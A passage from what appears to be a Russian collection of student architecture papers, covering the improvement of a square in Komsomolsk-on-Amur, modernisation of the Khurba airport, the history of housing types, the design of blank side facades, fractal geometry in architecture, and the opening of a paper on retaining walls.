фраструктуре, культурным учреждениям и другим удобствам. Этот фактор часто стано-
вится стимулом для переезда ответственных граждан в эти районы. Вследствие этого, 
пассивность и невовлеченность местного населения в жизнь периферии приводит к 
ухудшению внешнего облика городской среды. Низкий уровень жизненной удовлетво-
рённости населения, в свою очередь, оказывает отрицательное влияние на безопасность 
этих территорий.  На данный момент часть территории благоустроена площадкой со 
скамьями, но те в свою очередь не отвечают всем параметрам эргономики (рисунок 1). 
Общественная зона и другие объекты инфраструктуры сквера всё ещё нуждаются в рено-
вации, а сама территория – в наполнении комфортными, безопасными функциональными 
зонами. Также необходимо привести все элементы, сооружения и фасады домов, приле-
гающих к данной территории, к единому стилю, для создания у жильцов положительного 
настроения. А как следствие хороших ассоциаций с городом в целом. 

 
Рисунок 1 – Внешний вид рассматриваемой территории в зимний  

и летний периоды 
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Следующее, что необходимо учитывать при развитии общественного простран-
ства – потребности различных групп населения, включая детей, пожилых людей и ма-
ломобильные группы населения. Далее необходимо создать многофункциональные зо-
ны, рассчитанные на активный отдых, занятия спортом и культурные мероприятия, так 
как сейчас эта потребность не закрыта (рисунок 2). Всё это должно поспособствовать 
повышению уровня вовлечённости местного сообщества, а также укреплению социаль-
ных связей между жителями. 

 
Рисунок 2 – Схема анализа исходной ситуации, рассматриваемой территории 
Ещё одним из ключевых аспектов успешного благоустройства является участие 

самих жителей в процессе планирования и реализации проектов. Активные обсуждения 
и опросы помогут выявить реальные потребности горожан т создать пространство, ко-
торое будет максимально комфортным и востребованным. Что способствует усилению 
чувства сопричастности жителей к своему городу, гордости за общественные простран-
ства и бережному отношению к эксплуатируемым территориям и объектам на них. 

Помимо функциональности, не менее важно учитывать визуальное восприятие 
благоустраиваемых территорий. Ландшафтный дизайн, озеленение фасадов, установка 
арт-объектов и освежение цветовой гаммы зданий и малых архитектурных форм помо-
гут создать гармоничную атмосферу. А это в свою очередь положительно сказывается 
на психоэмоциональном состоянии горожан и их здоровье. Так, например, наличие зе-
лёных насаждений и цветников не только улучшит эстетический вид, но и поспособ-
ствует улучшению качества воздуха, снижению температуры в летний период и созда-
нию уютной среды для отдыха. Что актуально для рассматриваемой территории из-за 
непосредственного соседства с шоссе. Также, следует помнить, что благоустройство 
должно быть не только красивым, но и устойчивым к различным факторам. При проек-
тировании новых общественных пространств и реновации уже имеющихся, важно 
предусмотреть их долговечность, использование современных экологически чистых 
материалов и технологий. Это не только ответственный подход к экологии, но и способ 
сохранить финансирование на долгосрочную перспективу.  

Таким образом, можно сделать вывод, что эффективное благоустройство обще-
ственных пространств, таких как сквер по Магистральному шоссе, д. 23/5, д. 25/1, д. 
25/2, д. 27/3 в г. Комсомольск-на-амуре, непосредственно влияет на качество жизни го-
родских жителей. Создание комфортной, безопасной и эстетически привлекательной 
среды способствует не только повышению уровня удовлетворённости, что уже само по 
себе важно, но и укреплению социальных связей в обществе. Благоустроенные про-
странства становятся местом встреч, общения и активного отдыха, что, безусловно, по-
ложительно сказывается на общем климате в городе. 
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ФОРМИРОВАНИЕ СРЕДОВОГО РЕШЕНИЯ АЭРОПОРТА П. ХУРБА  
 
FORMATION OF AN ENVIRONMENTAL SOLUTION AT THE KHURBA AIRPOR 
 
Аннотация. Данная работа посвящена разработке комплексного решения по модерни-
зации аэропорта в поселке Хурба по адресу улица Молодёжная 3. Цель – создание 
адаптивной инфраструктуры, соответствующей современным стандартам авиации и 
обеспечивающей комфорт пассажиров. Аэропорт сталкивается с проблемами устарев-
шей инфраструктуры, ограниченной пропускной способности, низким уровнем сервиса 
и несовершенной системой управления пассажиропотоками. Для детального анализа 
состояния аэропорта потребуется комплексное обследование с привлечением различ-
ных специалистов. Концепция оптимизации включает несколько направлений: оптими-
зация внутреннего пространства с учетом удобства и навигации, улучшение транспорт-
ных связей, внедрение современных технологий, включая автоматизацию процессов и 
биометрическую идентификацию, и экологическая составляющая, направленная на 
устойчивое развитие. Все решения будут направлены на улучшение качества обслужи-
вания, сокращение времени ожидания и повышение безопасности.  
Annotation. This work is devoted to the development of a comprehensive solution for the 
modernization of the airport in the village of Khurba at 3 Molodezhnaya Street. The goal is to 
create an adaptive infrastructure that meets modern aviation standards and ensures passenger 
comfort. The airport faces the problems of outdated infrastructure, limited capacity, low level 
of service and an imperfect passenger management system. A detailed analysis of the airport's 
condition will require a comprehensive examination involving various specialists. The opti-
mization concept includes several areas: optimizing the interior space, taking into account 
convenience and navigation, improving transport links, introducing modern technologies, in-
cluding process automation and biometric identification, as well as an environmental compo-
nent aimed at sustainable development. All solutions will be aimed at improving the quality of 
service, reducing waiting times and improving security. 
Ключевые слова: аэропорт, сервис, пассажиры, проблемы, решения, улучшения.   
Keywords: airport, service, passengers, problems, solutions, improvements. 
 

Формирование концепции нового аэропорта в районе посёлка Хурба по адресу : 
улица Молодёжная,3, представляет собой сложную многоаспектную задачу, требующая 
комплексного подхода и взаимодействия специалистов из различных областей. Данный 
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проект выходит за рамки простого строительства транспортной инфраструктуры, ставя 
свой целью стать инструментом экономического развития, повысить качества жизни 
населения поселения Хурба и обеспечить гармоничную интеграцию в существующую 
городскую среду. Для успешной реализации проекта зависит напрямую от всесторон-
него анализа взаимосвязанных факторов, охватывающих широкий сектор – от геологи-
ческих особенностей территории до социальных аспектов жизни жителей посёлка.  Но-
вый аэропорт должен стать важной инфраструктурной объект, но и важный элемент, 
который вносит значительный вклад в экономическое развитие региона, обеспечивая 
устойчивые транспортные связи, расширяя возможности для туризма и бизнеса. Этот 
проект имеет потенциал стать не только узлом передвижения, но и центром динамиче-
ского роста и процветания для всего округа. 

Располагаемый аэропорт в городе Комсомольск-на-Амуре, который является 
вторым крупным городом в Хабаровского края, начинает свою историю с перевозки 
пассажиров на самолёте ПО-2 в 1934 г. с аэродрома п. Победа (см. рисунок 1). Работал 
он до 1064 года. 

На аэродроме ПВО Хурба выделен сектор для строительства аэропорта. В насто-
ящее время аэропорт функционирует нерегулярно. Неданного в 2020 году, деятель-
ность аэропорта была приостановлена в связи с отзывом лицензии Росавиацией по при-
чине неудовлетворительного состояния здания и взлётно-посадочной полосы.     

Перед начало проектирования аэропорта необходимо провести детальное иссле-
дование территории (рисунок 1).  Исследование охватывает следующие факторы: рель-
еф местности, геологические особенности, риск затопления, сейсмическая активность, 
гидрологические   условия (подземные воды, близость к водоёмам), климатические ха-
рактеристики региона (ветра, осадки, температура) и оценка существующей инфра-
структуры. 

 
Рисунок 1 – Внешний вид Аэропорта в п. Хурба в настоящее время  

Необходимо провести тщательный анализ функционирования инженерных сетей 
города (водоснабжение, канализация, электроэнергетика, газоснабжение), состояния 
дорожной инфраструктуры и эффективности системы общественного транспорта.   

Особое внимание следует уделить оценке экологического состояния территории, 
выявлению находящихся под охраной природных объектов и разработке комплекса ме-
роприятий, направленных на минимизацию негативного воздействия строительства на 
окружающую среду. Это предполагает проведение государственной экологической 
экспертизы, разработку мер по защите растительного и животного мира, а также сни-
жение уровня шумового и светового загрязнения. 

Город Комсомольск-на-Амуре, расположенный на Дальнем Востоке России, 
находится под значительным влиянием климатических факторов. Уникальные природ-
ные условия и специфическая социально-экономическая динамика региона определя-
ются его географическим положением на берегу реки Амур в зоне умеренно континен-
тального климата.  
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Суровые зимние месяцы с сильными морозами и снегопадами оказывают суще-
ственное влияние на строительные и транспортные процессы. Летние месяцы, напро-
тив, характеризуются высокой температурой и умеренной влажностью.  

Анализ доступности транспортной инфраструктуры аэропорта должен преду-
сматривать разработку оптимальных маршрутов как для личного транспорта, так и для 
общественного транспорта. В настоящее время из города Комсомольск-на-Амуре к 
аэропорту можно доехать на автобусе по машруту под № 104 (рисунок 2). 

 
Рисунок 2 – Транспортная доступность аэропорта п. Хурба  

Для обеспечения безопасности дорожного движения и повышения его эффек-
тивности необходим детальный анализ транспортных потоков и разработка комплекс-
ной системы управление движением. Кроме того, целесообразно изучить возможность 
внедрения экологических чистых видов транспорта, таких ка электромобили и электро-
бусы. Архитектурно-ландшафтное проектирование должно стремиться к созданию гар-
моничного ансамбля, органично вписывающегося в региональные особенности и при-
родную среду. Ландшафтное проектирование предполагает озеленение территории, со-
здание зон отдыха и внедрение систем сбора и рационального использования дождевых 
вод.  =Важнейшим аспектом является обеспечение доступности аэропорта не только 
обычным людям, а и для лиц с ограниченными возможностями, что необходимо учи-
тывать на всех этапах проектирования. 

Формирование архитектурно-пространственной концепции аэропорта в посёлке 
Хурба является сложной многоаспектной задачей, пробующей всестороннего анализа. 

При разработке проекта необходимо учитывать климатические условия, геогра-
фическое положение, социальные и экологические факторы регион. Особое внимание 
уделяется оптимизация потоков пассажиров, созданию уникального и запоминающего-
ся архитектурного образа, интеграции современных технологий и инженерных систем, 
а также минимизации воздействия на окружающую среду. Предполагаемые решения 
направлены на создание гибкого и адаптируемого пространства, которое позволит осу-
ществлять дальнейшее развитие и модернизация аэропорта. 
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На протяжении тысячелетий человечество эволюционировало и меняло мир во-

круг себя к лучшему. В XXI веке люди обладают очень многим: современные техноло-
гии, образование, развитая культура, продовольствие в достаточном количестве и ком-
фортное жильё. Из уроков истории известно, что в древности средняя продолжитель-
ность жизни человека была крайне мала: этому поспособствовали суровые климатиче-
ские условия, неблагоприятное природное окружение, междоусобицы, болезни, а далее 
и социальный  фактор. В течение времени человек приспособился к трудной жизни. В 
первую очередь, хотелось бы отметить, появление первых орудий труда и оружия, ко-
торые обеспечивали семейства достаточным количеством пищи.  Далее произошло  по-
корение огня и объединение семейств в племена. Красной нитью через всю древнюю 
историю человечества проходила потребность в укрытии, которое не только защитило 
бы их от непогоды или страшного зверя, но и создало комфортные условия жизни. 

Изначально человек пользовался благами природы, в результате чего появились 
пещерные жилища, служащие как временным, так и постоянным местом обитания.  Как 
правило, такие пещеры выбирались из числа тех, которые располагались в низинах и 
вблизи воды. Их обустройство позволило археологам и  учёным воссоздать картину 
жизни человека того времени: очаг, кремневые ножи, стрелы из костей животных и ри-
туальные или же бытовые рисунки. В то же время, жители равнинных зон, где пещеры 
были редкостью, выкапывали землянки или же строили временные шалаши-навесы, 
используя сухие ветки, листья, известь и глину – это было первыми шагами человече-
ства в сфере строительства. В комфортных условиях популяция росла, племена стано-
вились общинами, а маленькие поселения сменили деревушки с домами из глины и де-
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рева. Русским национальным архитектурным достоянием стали изба и терем, постро-
енные без единого гвоздя. Достаток материала позволил мастерам  достичь небывалых 
высот в деревянном зодчестве. Традиционная русская изба состояла из двух помеще-
ний: жилое и кладовая – сени. Уединение было исключено: семьи были большими, и 
теснота была привычным явлением. Особое место в доме занимала печь, рядом с кото-
рой  располагали спальные места. Благодаря маленьким окнам, помещение было легко 
отапливаемым. В дальнейшем жители стали расширять свои жилища за счет появления 
дополнительных комнат. Так сформировался старорусский стиль. 

Со временем, в больших поселениях начали возводиться каменные дома, кото-
рые всё более походили на современные квартиры. Небольшие комнатки делились по 
функционалу, была представлена новая система жизнеобеспечения: печь была заменена 
несколькими каминами, появился специальный погреб для продолжительного хранения 
продуктов питания, а научно-техническая революция окончательно решила проблему 
подачи тепла и воды в жильё. Тип постройки каменных домов был актуален вплоть до 
XX века. Менялась лишь высота здания и количество комнат. Массовое строительство 
из камня способствовало появлению крупных городов. 

Вскоре многоквартирные дома стали чем-то обыденным, и в них сложилась 
своеобразная иерархия: зажиточные граждане селились на верхних этажах; ниже рас-
полагались рабочие, учителя и иные представители низших сословий. Первые этажи 
были специально обустроены под небольшие магазины или зоны торговли.   Большой 
поток крестьян, переселяющихся в город, осложнил ситуацию: просторные квартиры 
стали заменяться на коммунальные, жилых мест не хватало – людям не редко приходи-
лось селиться в бараках. После Первой Мировой войны от многих селений ничего не 
осталось. После Второй Мировой войны появился другой тип «общажных» домов, в 
простонародье именуемых «сталинками»: здания от пяти до тридцати этажей с высо-
кими потолками и просторными комнатами. Как правило, в каждой комнате жила от-
дельная семья, а кухня и санузел являлись помещениями общего пользования. При 
этом любые неудобства компенсировались прекрасным декором и роскошным интерь-
ером (рисунок 1). 

 
Рисунок 1–Тип жилого здания, построенный во время правления И.В Сталина: 

«Сталинка» – «Здание Сталинского ампира» 
В период постсталинизма архитектура потерпела кардинальные изменения пу-

тём отказа от  излишеств и декоративности[1]. Пятиэтажные дома строили за несколько 
дней или недель. «Хрущёвки» – это новый вид жилья, в который люди с радостью пе-
реезжали из крохотных коммуналок (рисунок 2). . Жители радовались отдельной кухне 
и санузлу, при этом узкие коридоры и низкие потолки никого не смущали. Благодаря 
упрощению и стандартизации квартир, произошли качественные изменения в развитии 
индустрии производства мебели и декоративных предметов для создания домашнего 
уюта. 
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Рисунок 2 –  Тип жилого здания, построенный во время правления Н.С Хрущёва,  

называемая в простонародье «Хрущёвка». 
С течением времени «хрущёвки» были заменены новым типом многоквартирных  

домов – «брежневками». Эти сооружения отличались многоэтажностью, вследствие чего 
лифты и мусоропровод приобрели большую популярность, качество строительных мате-
риалов улучшилось. Новые дома были рассчитаны на гораздо более долгую эксплуата-
цию. Сегодня такие квартиры всё ещё актуальны: в них живут люди и нередко пытаются 
реализовать в них свои дизайнерские идеи: перепланировки, «евроремонт» и др. 

Спустя столь долгий путь архитектура пришла к ещё одному типу многоквар-
тирных домов: небоскрёбы. Сегодня они достаточно  популярны: высокие сооружения 
со стандартизированным планом просторных квартир. Количество комнат варьируется 
от одной до шести, каждая изолирована дверью, что говорит о необходимости выделе-
ния личного пространства и возможности уединения жильцов. Не являются чем-то 
сверхъестественным и квартиры-студии, где кухня плавно перетекает в гостиную. 

Об истории эволюции человеческого жилья можно рассуждать бесконечно, как 
национальные особенности того или иного народа влияли на историю архитектуры в 
той или иной местности, какой из видов человеческого жилья более комфортен, какой – 
наиболее универсален, какой – наиболее устойчив к катаклизмам природного и техно-
генного характера.  
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сложившейся ситуации. 
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cities, buildings with featureless, monotonous side facades have been preserved, due to vari-
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 Исследование архитектурного облика боковых фасадов является актуальной 
научной задачей, решение которой позволит улучшить качество городской среды, 
сформировать уникальный облик города и повысить комфорт проживания для его жи-
телей. Данное исследование может внести вклад в развитие теории и практики архитек-
турного проектирования, а также способствовать формированию более гармоничной и 
эстетически привлекательной городской среды. Традиционно архитектурное внимание 
и исследования концентрировались на главных фасадах зданий, выходящих на улицы и 
площади, как на репрезентативных элементах городской среды. Боковые фасады часто 
остаются без должного внимания, воспринимаясь как второстепенные и нефункцио-
нальные элементы. Изучением фасадов зданий с точки зрения композиции занималась 
Бирюкова Е.Е., Косаковский В.А., Лисицыан М.В. и др. Бирюкова Е.Е. рассматривает фа-
сады как плоскости, на которых возможно применение средств гармонизации, таких как 
ритм, метр, пропорция, симметрия [1]. Косаковский В.А. и Чистов В.А. рассматривают 
композицию фасадов зданий, как следствие его объемно-планировочной структуры, то 
есть на фасадах они выделяют этажи, лестнично-лифтовые узлы, секции [2]. Лисициан 
М.В. решает вопросы композиции с использованием конструктивных особенностей, то 
есть тех возможностей, которые заложены на этапе проектирования [3]. В данной статье 
здание рассматривается как цельная структура, в которой глухие фасады выбиваются из 
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общей композиции. Целью данного исследования является комплексный анализ архитек-
турного облика боковых фасадов зданий в контексте современной городской среды. По-
ставлены задачи по выявлению основных проблем, связанных с архитектурным оформле-
нием боковых фасадов, и поиску путей их решения для создания более гармоничного и 
выразительного городского облика. 

Торцевые фасады расположены обычно на границе между внешней и внутренней 
городской средой. Они часто образуют своеобразный портал — переход от шумной, ак-
тивной внешней городской среды к тихой и спокойной внутренней городской среде, к дво-
ровым территориям. Основное внимание уделяется внешнему виду дома с лицевой сторо-
ны, поскольку именно он создает впечатление о здании в целом. Однако в городе много 
примеров, где боковые фасады играют немаловажною роль в восприятии здания. В резуль-
тате анализа городской среды, было выявлено существование следующих видов торцевых 
фасадов здания: 

1.Эксплуатируемый фасад. На нем располагаются окна, балконы, лоджии, то есть 
он ничем не отличается от других фасадов здания и находится в постоянном использова-
нии. 

2.Функциональный фасад. На таком фасаде могут располагаться эвакуационные 
выходы, пожарные лестницы, освещение лестничных клеток или других технических по-
мещений.  

3.Глухой фасад. На таких фасадах отсутствуют какие-либо конструктивные или де-
коративные элементы. Это может быть противопожарная сторона, которая выполняется из 
негорючих материалов, торцы секционных домов. Глухие фасады могут оказывать нега-
тивное влияние на городскую среду. Они могут создавать ощущение замкнутости и изоля-
ции, а также ухудшать визуальный облик города. Одной из причин возникновения глухих 
фасадов является нехватка места для строительства. В городах с высокой плотностью 
населения часто возникают проблемы с доступностью земли для строительства новых зда-
ний. Чтобы иметь возможность разместить дома на минимальном расстоянии друг от дру-
га у зданий появляются глухие фасады. Окна некоторых домов в торцах зданий заклады-
вают уже после строительства по причине больших теплопотерь. Еще одной причиной 
возникновения глухих фасадов может стать шумозащита. Это возникает, когда здание ори-
ентируют глухой стороной в направлении источника шума. В целом, глухие фасады явля-
ются проблемой в городской среде. Они возникают по разным причинам, и чтобы испра-
вить эту проблему, необходимо учитывать функциональные требования к зданиям и эсте-
тические аспекты. На сегодняшний день существует достаточно попыток исправить суще-
ствующие глухие стены. Но далеко не все они увенчиваются успехом. В городской среде 
можно заметить яркие рисунки, закрывающие весь фасад, не связанные композиционно и 
по цветовому решению со всем зданием, а также оформление фасада, используя неподхо-
дящие ко всему зданию стилистические решения, окрашивание глухого фасада в цвета, 
отличающийся от цвета других фасадов. Глухие поверхности нередко украшают панно или 
мозаикой. Есть достойные примеры современного искусства – стрит-арта, благодаря кото-
рому здание превращается в местную достопримечательность. Важно учитывать цвет ри-
сунков при декорировании фасадов, так как часто эти изображения воспринимаются от-
дельно от здания, они становятся слишком акцентными и не просто конкурируют со зда-
нием, а выходят на передний план. Торцы не должны восприниматься отдельно от здания, 
необходимо разрабатывать их дизайн так, чтобы здание выглядело композиционно цель-
ным. Применяемые цветовые решения и материалы, для оформления торца здания при ре-
конструкции или модернизации должны иметь обоснование. Обоснование может служить 
композиционное решение всего здания, цветовое сочетание с другими фасадами или ис-
пользование техник комбинирования материалов на всех фасадах.  

В городах часто можно встретить номера домов, нанесенные на глухие стены зда-
ний. Такие приемы выполняют исключительно утилитарную функцию, помогают людям 
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ориентироваться в городе. Однако на мой взгляд они могут наносить урон эстетике, так 
как вместо красивого силуэта города, мы видим в первую очередь номера домов. Номер 
дома на фасаде должен также вписываться в дизайн, как и любой другой элемент. 

Глухие фасады зданий регулярно используют для размещения рекламных баннеров. 
Однако размещение рекламы на фасаде здания может оказать значительное влияние на эс-
тетику самого здания и города в целом. Рекламные баннеры могут нарушить архитектур-
ный облик, особенно если они расположены на исторически значимых или архитектурно 
ценных зданиях. Большое количество таких объектов может привести к потере привлека-
тельности места для туристов и жителей. Рекламные баннеры сами по себе имеют слабую 
эстетическую привлекательность, но их негативное влияние может усиливаться за счет 
размеров, цвета и места размещения на фасаде, что может нарушать композиционные за-
коны и визуальную гармонию. Также можно говорить о том, что рекламные баннеры 
наносят физический вред и самому фасаду, оставляют после себя следы от крепления и 
изменения цвета. Изменение цвета происходит из-за разной степени воздействия солнеч-
ных лучей и погодных условий на закрытую баннером часть фасада и открытую. Размеще-
ние рекламных баннеров на фасадах зданий может быть запрещено из-за заботы о сохра-
нении архитектурного облика города, безопасности прохожих, эстетических соображений 
и юридических ограничений 

Прежде чем приступить к дизайну фасада важно понимать какое здание перед нами 
и какое здание мы хотим получить в результате наших действий. Огромной ошибкой мо-
жет стать рассмотрение вариантов оформления фасадов как отдельных плоскостей. Необ-
ходимо видеть цельный образ всего здания. Все существующие здания можно в той или 
иной степени отнести к одному из видов, в зависимости от вариантов оформления фасадов, 
предложенных на рисунке 1.  

 
Рисунок 1 – Виды фасадов в зависимости от варианта их оформления 

а) классический, б) примитивный, в) современный, г) креативный, д) декорированный 
Основные проблемы с оформлением торцевых сторон обнаружены в зданиях с 

классическими и примитивными фасадами. В городах встречаются следующие варианты 
оформления торцов зданий: декорирование архитектурными элементами, окрашивание в 
основной цвет других фасадов, окрашивание в нейтральный цвет, использование реклам-
ных баннеров, росписи фасадов, мозаики.  

Здания с классическими фасадами, богатые лепниной и различными архитектур-
ными элементами. В таких зданиях часто встречаются глухие торцевые фасады, и они мак-
симально контрастно выглядят на фоне богато украшенных остальных фасадов. Хорошим 
вариантом декорирования зданий с классическими фасадами может выступать вертикаль-
ное озеленение. Классическая архитектура гармонично сочетается с зеленью. Хороших 
результатов можно также достичь, используя декоративное освещение фасадов. Использо-
вание архитектурных элементов на торцах здания добавит ему целостности.  

Здания с примитивными фасадами обычно серые, панельные или кирпичные, часто 
пятиэтажные или девятиэтажные. Именно такие здания и являются основными объектами 
для преобразования. Из этих зданий можно сделать как декорированные и современные, 
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так и классические, и креативные. Можно преобразовать примитивный фасад в любой, но 
учитывая экономическую и эстетическую целесообразность, наиболее удачными вариан-
тами будет преобразование примитивных зданий в здания с декорированными фасадами. 
Здания с декорированными фасадами получаются из зданий с примитивными фасадами 
после небольших модернизаций, декоративного окрашивания. 

Росписи на фасадах являются одним из самых древних и красивых способов деко-
рирования зданий. Они могут быть выполнены в различных стилях и тематиках, и они мо-
гут придать зданию уникальный и неповторимый вид. Можно выделить следующие тех-
ники росписей на фасадах зданий: аэрография, роспись кистью, граффити, мозаика, фрес-
ки. Популярно направление стрит-арта – изображение знаменитых людей. Одним из спо-
собов декорирования торцов на зданиях с классическими фасадами является использова-
ние скульптурных элементов. Применение декоративной тектоники, конструктивных эле-
ментов и декоративных панелей способны преобразовать скучные глухие фасады. Еще од-
ним способом декорирования торцевых фасадов является использование современных 
технологий, таких как видеоэкраны, проекторы, светодиодные панели и ленты, декоратив-
ное освещение. Например, можно использовать подсветку для создания эффекта ночного 
города или использовать цветное освещение для создания яркого и запоминающегося об-
лика здания. Применение проекторов поможет сохранить фасад и разнообразить город за 
счет сменяемости изображений. Озеленение фасадов является универсальным способом 
декорирования, так как хорошо продуманное озеленение и праздничная декорация неспо-
собна нанести визуальный вред любому виду фасадов и сочетается с любым стилем архи-
тектуры.  
 Проблема глухих фасадов является сложной и требует комплексного подхода. 
Для улучшения внешнего вида глухих фасадов можно использовать много методов, та-
ких как использование различных материалов, цветов и текстур, а также различные 
элементы декора. Хороших результатов можно добиться, грамотно сочетая предлагаемые 
способы. Такие комбинации в большей степени способствуют созданию уникальных архи-
тектурно-декоративных решений. Важно рассматривать здание целиком, а не отдельные 
плоскости фасадов. А также важно учитывать тип фасадов здания и результат, который 
мы хотим получить. Рекомендации, представленные в данной статье, могут упростить 
поиски решений для устранения глухих, скучных, серых фасадов зданий, а значит по-
могут улучшить внешнюю городскую среду. 
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ИСПОЛЬЗОВАНИЕ ФРАКТАЛЬНОЙ ГЕОМЕТРИИ В АРХИТЕКТУРНОМ 
ДИЗАЙНЕ 
 
THE USE OF FRACTAL GEOMETRY IN ARCHITECTURAL DESIGN 
 
В данной статье рассматриваются фрактальная геометрия, которая изучает необычные 
формы и структуры, все чаще интегрируется в архитектурный дизайн. Используя есте-
ственные пропорции и эстетически привлекательные элементы, архитекторы могут со-
здавать здания, которые выглядят гармонично и эстетически приятны для человеческо-
го восприятия. Фракталы также дают возможность оптимально использовать простран-
ство, адаптируясь к различным функциональным потребностям. Работы известных ар-
хитекторов, таких как Фрэнк Гери и Заха Хадид, являются яркими примерами успеш-
ного применения принципов фрактала в современном строительстве.  
This article examines fractal geometry, which studies unusual shapes and structures and is 
increasingly integrated into architectural design. Using natural proportions and aesthetically 
pleasing elements, architects can create buildings that look harmonious and aesthetically 
pleasing to human perception. Fractals also make it possible to make optimal use of space, 
adapting to different functional needs. The works of famous architects such as Frank Gehry 
and Zaha Hadid are vivid examples of the successful application of fractal principles in mod-
ern construction. 
Ключевые слова: фрактальная геометрия, архитектура, дизайн, фракталы 
Keywords: fractal geometry, architecture, design, fractals 

 
Фрактальная геометрия представляет собой захватывающее направление науки, 

изучающее многообразные формы. Эта область проявляет себя не только в математиче-
ских концепциях, но также находит отклик в искусстве, природе и архитектурных ре-
шениях. В последние годы заинтересованность архитекторов к фрактальным принци-
пам возросла, что позволяет им реализовывать уникальные и впечатляющие проекты. 
Интеграция фрактальных элементов в строительные разработки открывает новые воз-
можности для креативности, гармонично сочетая функциональность с визуальной при-
влекательностью. Данный текст направлен на анализ влияния фрактальной геометрии 
на современную архитектурную практику, подчеркивая её важность и будущие пер-
спективы.  

Фрактальная геометрия представляет собой не просто математическую область, 
а мощный стимул для архитекторов, открывающий новые горизонты в дизайне. Основ-
ная идея самоподобия позволяет создавать конструкции, отличающиеся внутренней 
гармонией и устойчивостью. Архитекторы используют фрактальные формы для реали-
зации нестандартных концепций пространственного восприятия и функциональности  

С распространением цифровых технологий и современного программного 
обеспечения для моделирования архитекторы могут легко интегрировать фрактальные 
концепции в свои проекты. Алгоритмическое проектирование позволяет создавать как 
статические, так и динамические модели, которые адаптируются к изменениям 
окружающей среды. 

В архитектурной практике фрактальные узоры становятся заметны в разнооб-
разных и сложных фасадных решениях. Их повторяющиеся элементы образуют уни-
кальный диалог света и тени. Кроме того, они нашли отражение в революционных под-
ходах к проектированию несущих систем: разветвленные конструкции поражают своей 
стабильностью при минимальном использовании материалов. Архитектурные формы, 
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созданные в соответствии с фрактальной логикой, приобретают необычную пластич-
ность и выразительность, что вызывает у зрителей тонкое, интуитивное ощущение гар-
монии, поскольку наш мозг эволюционно настроен на восприятие природных форм. 

Интерьеры, построенные по фрактальным принципам, создают неповторимый 
опыт восприятия. Здесь элементы разного масштаба объединены в единую компози-
цию. Декор, мебель и освещение соответствуют общим геометрическим узорам, созда-
вая единый визуальный язык. Такие пространства не только поражают своей эстетикой, 
но и формируют особую психологическую атмосферу. 

Хотя фрактальная архитектура обещает многообещающие перспективы, она 
сталкивается с определенными трудностями. Необходимы значительные усилия в 
области образования и практики, чтобы специалисты освоили эту сложную область. 
Необходимы также дальнейшие исследования, чтобы понять влияние таких форм на 
психологическое восприятие пространства.  

Основные виды фракталов: примеры их использования в архитектуре. Таблица 1 
Таблица 1 

Храм святого семейства (Саграда Фамилия) 
Антонио Гауди. Барселона, Испания 
Древовидные структуры, L-системы 
 

Al Bahar Towers 
Абу-Даби, ОАЭ 
Мозаичные исламские узоры (гирихи), ап-
проксимация множества Жюлиа 
 

Beijing National Stadium «Птичье гнездо» 
Herzog & de Meuron.  Пекин, Китай 
Кривая Коха, случайные фрактальные сети 

Eastgate Centre  
Хараре, Зимбабве 
Биоморфные фракталы (термитники) 
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Продолжение таблицы 1 
The Gherkin  
Норман Фостер. Лондон, Великобритания 
Спиральные фракталы (золотое сечение) 
 

 
В нашем современном мире, где архитектура и дизайнерские решения постоянно 

меняются, фрактальные узоры становятся значимым инструментом для творческих 
профессионалов. Эти уникальные структуры не просто добавляют выразительность 
проектам, но и способствуют созданию гармоничной атмосферы, близкой к пониманию 
человека. Фракталы, представляющие собой математические конструкции, могут быть 
использованы для формирования визуально привлекательных и удобных объектов. Их 
естественная симметрия и разнообразие форм захватывают взгляд, вызывая интерес и 
восхищение. При этом стоит отметить, что применение фрактальных концепций не 
ограничивается только внешним обликом зданий — они охватывают и внутреннее 
оформление, создавая среду, которая благоприятствует комфортным и продуктивным 
взаимодействиям. Исследования показывают, что пространства, оформленные с ис-
пользованием фрактальных принципов, оказывают положительное воздействие на эмо-
циональное состояние человека. Это может выражаться в повышении уровня комфорта, 
снижении стресса и даже в стимуляции творческих процессов. В условиях быстрого 
изменения современного мира создание таких пространств становится особенно акту-
альным. 
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ПРОЕКТИРОВАНИЕ ПОДПОРНЫХ СТЕН В ЛАНДШАФТНОМ ДИЗАЙНЕ 
 
DESIGN OF RETAINING WALLS IN LANDSCAPE DESIGN 
 
Аннотация. В данной статье мы познакомимся с понятием подпорных стен, поймем, 
откуда они к нам пришли, как развивались и что изменилось. Узнаем в чём заключается 
функция подпорных стен. Рассмотрим из каких материалов проектируют подпорные 
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стены, какой материал и вид стен в современном мире больше распространены. Так же 
узнаем, где можно использовать такие подпорные стены и как меняют облик участков. 
Abstract. In this article, we will get acquainted with the concept of retaining walls, understand 
where they came from, how they developed and what has changed. Let's find out what the 
function of retaining walls is. Let's look at the materials used to design retaining walls, which 
material and type of walls are more common in the modern world. We will also find out 
where such retaining walls can be used and how they change the appearance of the sites. 
Ключевые слова: стена, материал, зонирование, укрепление, декоративный. 
Key words: wall, material, zoning, reinforcement, decorative. 

 
 Подпорной стеной называют сооружение, которое удерживает грунт на уклонах 
местности от обрушения и сползания. Подпорные стены являются не просто элемента-
ми декорации в ландшафтном дизайне. Они являются частью памяти о прошедших ве-
ках, тогда подпорные стены использовались для укрепления склонов против обруше-
ния, а также создавали террасы для земледелия. Актуальность подпорных стен в ланд-
шафтном дизайне заключается в ряде факторов, которые будут рассмотрены с данной 
статье. Рассмотрим четыре основных фактора: первый и самый важный – это укрепле-
ние склонов, вторым фактором является зонирование или по-другому разделение про-
странства, третий фактор служит для декорирования пространства и наконец четвертый 
фактор – это создание микроклимата. Целью работы является знакомство с подпорны-
ми стенами, что это такое, для чего их использовали в древние времена и как исполь-
зуют в современном мире, более детально рассмотрим каждую функцию и поймем, где 
можно и где нужно устанавливать такую конструкцию.  
 В древней культуре знающие мастера создавали более сложные системы под-
порных сооружений, для этого они использовали самые обычные и доступные им мате-
риалы такие как, камень, землю, кирпич и даже использовали древесину. Сохранивши-
еся конструкции сквозь века, говорят о высоком уровне познания инженерного мастер-
ства наших предков. Время идет и в современном мире подпорные стены немного из-
менились, поменялись материалы, способы создания, дизайн. Но основой создания стен 
все равно служат древние знания, на которые опираются по сей день. В настоящее вре-
мя функции подпорных стен так же поменялись, теперь они служат не только для 
укрепления склонов. Стены становятся многофункциональными, они играют большую 
роль в визуализации пространства, а также создают индивидуальность месту, где их 
устанавливают и разделяет местность на зоны. Можно рассмотреть основные способы 
использования таких стен. Первый и самый основной способ – это использование стен 
для укрепления склонов и террас.  Такая стена имеет защитную функцию от оползней, 
